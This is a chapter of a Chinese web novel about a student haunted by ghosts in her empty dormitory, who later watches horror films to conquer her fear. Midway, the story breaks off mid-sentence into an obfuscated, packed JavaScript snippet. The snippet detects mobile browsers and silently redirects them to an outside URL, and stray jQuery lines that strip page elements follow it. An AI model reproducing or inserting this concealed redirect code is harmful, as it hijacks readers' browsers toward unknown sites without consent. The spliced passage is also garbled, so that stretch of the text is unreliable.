7. 恐惧

作品:《在诡异世界当白月光

    “……我最近接了个活,要出去一个月,你上袱节要是回家,到时候吃饭就去你春婶家吃,我跟你春婶都讲好了你喜欢吃什么菜。”


    卫锦站在宿舍门口的台阶那,跟王惠芬女士打视频:“妈,你不在家,我这次就不回了,我寒假再回,我不想去别人家吃饭。”


    ……


    “卫锦,你上袱节不回家吗?”


    江和看到班群里统计的上袱节留校人数里有卫锦。


    “我妈不在家,我不想回。”


    “你要不要去我家玩,我让阿姨给你收拾个房间出来。”


    “不用了,我呆在学校挺好的,正好学习。”卫锦给江和看她手边的基础符箓大全。


    “也行,我画点符箓给你,免得你又倒霉撞见诡异,虽然说同一个人频繁撞诡的可能性很低,但以防万一嘛。”


    ……


    “卫锦,我走了,咱们节后见。”


    “节后见。”


    江和拖着行李箱走远,寝室里顿时只剩下卫锦一个人,她刷完牙洗漱,又回到床上看最近在追的一本冷门言情小说,小说里的时间恰好也来到了每年十月的上袱节。


    上袱节,民祈祷灾殃消除、谋求福祉的传统节日,作为Z国唯一的法定假日,含金量很高,从10月1日一直放到10月10日,连续10天。


    上袱节的第一天,卫锦抱着符箓大全啃了半天,进度条为0。


    上袱节第二天,进度条还是雷打不动的0。


    上袱节第三天,之前向江和有偿购买的画符材料之一黄纸耗尽,进度条依旧为0。


    *


    月上中天,宿舍楼寂静得没一点生气。


    卫锦拉紧床帘,把各个连接处的缝隙掖好或用夹子夹紧,摸黑缩被窝里追文。


    “嗒嗒嗒嗒——”


    像是弹珠滚动发出的响声,这动静传进卫锦耳朵,她一颗心像是要立马跳出嗓子,但一想到门窗后贴的辟邪符、平安符,她又冷静下来。


    她屏住呼吸留神细听,想确定是否是幻听,可这下子却不止听到清脆的弹珠声,还听到脚踩爬梯的响动。


    这响动如同响在卫锦心里,她僵着身子,背对着床梯方向,直冒冷汗,根本没勇气掀开床帘查看情况,生怕迎面就是一张腐烂的诡脸。


    她不回头,自然也就看不见红裙诡正倒挂在天花板下,那张青白的脸紧贴床幔,正直勾勾盯着她瞧。


    “滴答、滴答……饿……好饿……”


    呢喃声犹如从另一片空间传来,发黑凝固的血迹铺满视野,蛛网灰尘占据这条走廊。


    “滴答……”涎水淌落,一道扭曲的诡影四肢着地,在走廊上徐徐爬行,花白脏污的头发挡住脸,只隐约透过缝隙看见一只浑浊充血的眼。


    “饿……好饿……”


    诡影背后的444门牌摇摇欲坠,一张血字封条正静悄悄躺在地板。


    错位的骨骼爬动间咯吱作响,诡影爬进干净雪白的地面,那只被砸烂的脑袋转动着,像在嗅闻。


    此时119宿舍里,卫锦正紧紧闭着眼,努力装出一副熟睡的样子,她一动不动,把脸埋进被子里只朝外露出发尾。


    几声脚踩上床梯的响声后,周围突然就没了任何动静。这就像是诡异已经爬上了床,正跟她隔着被子面抵着面。


    感受到头顶的凉意,卫锦被自己想象中场景吓到,她死命咬住唇让自己不要发抖尖叫。


    时间一分一秒的流逝,整栋宿舍楼依旧还是这样寂静无声的状态。


    就在卫锦稍稍松了一口气时,她听到有“人”敲响她的床板,小声问:“你睡了吗?”


    “!”


    卫锦呼吸猛地一窒,寒意从头顶贯穿到脚底,细密的冷汗从额头渗出,她几乎把下唇咬出血,才克制住张口的欲望。


    她心慌意乱地等待后续,可床下又突然没了动静,没过一会,她听到了嘎吱嘎吱的摩擦声。


    是骨头摩擦混杂着咀嚼声。


    咀嚼声?


    是谁在吃东西?


    不对,是诡……诡在吃什么?


    脑袋轰地一声嗡鸣,卫锦攥紧一直握在手心的手机,那几根指节都因为过度用力而泛着疼。


    心脏像是被谁攥在了一起,卫锦咬牙,猛地睁开眼睛,翻身坐了起来。


    她后背抵着墙,迅速把手机照明功能开到最大,不给自己任何后悔的机会一把掀开床帘往下照。


    看清的一瞬,她瞳孔一缩。


    门边,烂了半边脑袋的诡异正埋头啃着红裙诡的腿骨,原本被贴在门后的黄符轻飘飘落在地上。


    手机灯光照见诡异,它缓慢地抬头,涌动的黑暗里逐渐浮出一张干瘪皱巴的脸、黑黄缺牙的嘴,它睁着双血红痴愚的眼,朝卫锦吸溜口水。


    卫锦惊恐的目光从它的脑袋移向它手里被揪了头的红裙女诡,她不自觉地打了个冷颤,慌乱站起身。


    可看到宿舍正门被堵,窗户又有栏杆,心里顿时又是一片冰凉。


    卫锦抖着手去拿枕头下的符箓,一股脑就往门边的诡异身上丢,泛着金光的黄符刚碰到诡异就燃烧殆尽,不起半点作用。


    看到诡异扭曲到畸形的手掌握住床脚,从床头方向往上爬,卫锦被吓得猛得后退,腿一软栽下床。


    “啊!”


    “砰!”


    手机被这一波摔飞到角落,透过这点微茫的光束,卫锦看到诡异正扭头朝自己逼近,她忍着手肘膝盖的剧痛,背靠长桌往后挪动。


    极度恐惧下,她下意识忘记了诡异非实体这点,拿起手边的书就往诡异身上砸,果不其然,书籍直接穿过了诡异的躯体。


    可大部分人都是越害怕越手忙脚乱,卫锦惊惧下一把握住桌上的水果刀,掌心瞬间被割出血,她下意识疼得松手。


    视野前方,形容可怖的诡异还在不断靠近。脸上传来潮湿的热意,卫锦后知后觉,她哭了。


    紧绷的弦在这一刻彻底断裂,她近乎宣泄般把长桌上的所有物品都砸向面前的诡异。


    掌心的伤口不断加重,她紧紧握住长桌上的最后一样东西。


    血水流过笔记本的封皮,有金色的光点从她的眉心一跃而下,她用力甩出最后的“武器”。


    鲜血、笔记本、不可察的光点,合而为一,一同冲向前方面目可憎的诡异。


    被泪水模糊的双眼隐约看到一阵漩涡状的金光,黑皮笔记本滞空掉落,寝室内关于诡异的一切都没了踪影。


    碎屏的手机还躺在不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794345|158290||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    远处亮着光,卫锦茫然地瘫坐在地板,她抬起左手,看自己掌心的伤痕,凑近小心吹了吹。


    滚烫的泪水也在这时,一刻不停的从眼里涌出来,她怎么擦都擦不干净。


    她无意识地蜷缩身体,抱紧自己的膝盖,目光空落落的没有焦点。


    为什么?


    我明明已经看不见诡了,为什么时隔多年,又要让我再次看见。


    为什么诡异要一个个的找过来,是因为我跟江和说我想知道的更多,是因为越了解越靠近越容易撞诡吗?


    童年时的一次次心悸、睡梦中醒来暼见的黑暗里的眼睛、小路上招手的黑衣服大人……


    卫锦,你看,你还是那么胆小,可你不应该害怕的,明明已经不是第一次撞诡了不是吗?你为什么还要害怕恐惧……你为什么要这么无能……


    她的唇角颤抖着,眼眶通红。


    猛地,她推开寝室门,往宿舍外冲去,她拍着宿管的房门,声音哽咽:“阿姨,开门,我要去医务室。”


    兵荒马乱的一晚。


    “还好伤口不深,切记不要沾水,药记得按时涂,或者你来我这,我帮你涂。”


    今晚的值班医生还是之前那位女医生,她似乎因为江和的催眠符,已经忘了她和卫锦半个月前在跟今晚差不多的午夜见过。


    拿上药,卫锦离开医务室,而宿管阿姨一直把人送回宿舍才返回休息室。


    卫锦绕开满地的书籍杂物,她拾捡起破屏的手机,漫无目的地坐在凳子上发呆。


    灵。


    到底什么才是灵呢?


    她用完好的右手捡起一样样物品,手指碰上被鲜血染脏的黑皮笔记本。


    她忽然想起这个本子原先是她买来准备记专业课笔记的,但最后笔记都记在了书里,也就没用上。


    她翻开封皮,看到第一页是张线稿,是个头发花白的慈祥奶奶。


    原先有这个吗?她不记得了,买来至今,她根本没有翻开过。


    她将黑皮笔记本放在桌上,又用扫帚将寝室打扫了一遍。


    她睁着眼,坐在窗边看天光破晓。


    黎明的第一缕光束就这么映入她的瞳孔,她迎着新生的光芒。


    卫锦,既然迟迟感悟不到力量,那就试着先克服恐惧吧。


    失去恐惧也许会让我死得更快,但我不想一看到诡异就浑身僵硬了,我不想胆小怯弱……恐惧是解决不了问题的。


    “呕!”


    卫锦又一次对着垃圾桶干呕,她面前的电脑屏幕里正放着外国的血浆/恐怖片。


    Z国本土的恐怖片一只手就能数过来,早两天就被她全部看完了。


    像是自虐般,她这几天除了必要的生理需求,每天睁眼就是坐在电脑前。


    电影里的血腥恐怖情节看得她一次次干呕出眼泪,她的手指总是克制不住地颤抖,她一次次的在噩梦中惊醒……


    10月10日,上袱节的最后一天,长槐大学的学子们陆续返校。


    江和推着行李箱敲开门,首先瞧见的就是一张黑眼圈浓重、惨白的脸。


    “你知道吗?6天,我一共看了28部恐怖电影。”


    卫锦睁着双满是红血丝的眼朝她笑,嗓音干涩嘶哑。